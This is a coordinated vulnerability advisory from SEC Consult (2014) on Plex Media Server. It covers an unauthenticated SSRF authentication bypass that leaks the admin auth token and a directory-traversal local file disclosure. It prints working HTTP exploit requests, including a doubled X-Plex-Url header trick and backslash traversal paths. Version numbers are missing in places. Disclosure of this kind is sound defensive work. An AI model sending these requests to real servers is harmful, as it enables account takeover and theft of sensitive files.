SEC Consult SA-20140228-1 :: Authentication bypass (SSRF) and local file disclosure in Plex Media Server Feb 28 2014 09:29AM
SEC Consult Vulnerability Lab (research sec-consult com)
SEC Consult Vulnerability Lab Security Advisory < 20140228-1 >
title: Authentication bypass (SSRF) and local file disclosure
product: Plex Media Server
vulnerable version: <=
fixed version: >=
impact: Critical
homepage: http://www.plex.tv
found: 2014-02-06
by: Stefan Viehböck
SEC Consult Vulnerability Lab

Vendor/product description:
"Plex is a media player system consisting of a player application with a
10-foot user interface and an associated media server. It is available for
Mac OS X, Linux, and Microsoft Windows."

URL: https://en.wikipedia.org/wiki/Plex_(software)

Vulnerability overview/description:
1. Authentication bypass / Server Side Request Forgery (SSRF)
The Plex Media Server "/system/proxy" functionality fails to properly validate
pre-authentication user requests. This allows unauthenticated attackers to make
the Plex Media Server execute arbitrary HTTP requests.

By requesting content from an attacker can bypass all authentication
and execute commands with administrative privileges.

2. Unauthenticated local file disclosure
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.

Plex "Remote" servers (thousands of them can be found via Shodan and Google,
none of them were accessed) are affected by both vulnerabilities as well.

Proof of concept:
1. Authentication bypass / Server Side Request Forgery (SSRF)
The following GET request bypasses the webserver whitelist.

GET /system/proxy HTTP/1.1
X-Plex-Url: http://localhost:32400/myplex/account?IRRELEVANT=
X-Plex-Url: http://my.plexapp.com/

The last X-Plex-Url header value "http://my.plexapp.com/" is contained in
the whitelist (Regex) and passes validation. The request is then processed by
the actual request handler in the backend webserver (Python). Here both header
values are concatenated using a comma. This way the actual URL that is
requested is controlled by the first X-Plex-Url value.
By indicating a parameter (called IRRELEVANT) the second X-Plex-Url value is

This results in the following request (made by Plex Media Server):

GET /myplex/account?IRRELEVANT=,http://my.plexapp.com/ HTTP/1.1
Host: localhost:32400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)
Connection: close
Accept: */*
Accept-Encoding: gzip

The response for this request is passed to the attacker and includes the
authToken value ("master token"), which can be used to impersonate legitimate
Plex users. Of course other administrative actions can be performed as well.

<?xml version="1.0" encoding="UTF-8"?>
<MyPlex authToken="<REMOVED>" username="<REMOVED>" mappingState="mapped" mappingError="" mappingErrorMessage="1" signInState="ok" publicAddress="1" publicPort="9415" privateAddress="1" privatePort="32400" subscriptionFeatures="cloudsync,pass,sync" subscriptionActive="1" subscriptionState="Active">

A video demonstrating this issue has been released by SEC Consult:

2. Unauthenticated local file disclosure
The following requests show different functionality that is vulnerable to
directory traversal:

GET /manage/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /web/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

GET /:/resources/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1
Host: <HOST>

The /manage/ and /web/ handlers can be exploited without prior authentication.
This vulnerability was confirmed on Windows.

Vulnerable / tested versions:
The vulnerabilities have been verified to exist in Plex Media Server version

Vendor contact timeline:
2014-02-09: Contacting vendor through elan (at) plexapp (dot) com [email concealed] and requesting
encryption keys.
2014-02-10: Vendor provides encryption keys.
2014-02-10: Sending advisory and proof of concept exploit.
2014-02-10: Vendor acknowledges receipt of advisory.
2014-02-17: Requesting status update.
2014-02-17: Vendor provides release timeline.
2014-02-20: Vendor releases fixed version (
2014-02-21: Requesting clarification regarding fixed version.
2014-02-21: Vendors provides further information about fixed version and
other reported vulnerabilities.
2014-02-28: SEC Consult releases coordinated security advisory.

Update to a more recent version of Plex Media Server (eg.

No workaround available.

Advisory URL:

SEC Consult Vulnerability Lab

SEC Consult
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Phone: +43 1 8903043 0
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Mail: research at sec-consult dot com
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Interested in working with the experts of SEC Consult?
Write to career (at) sec-consult (dot) com [email concealed]

EOF Stefan Viehböck / @2014

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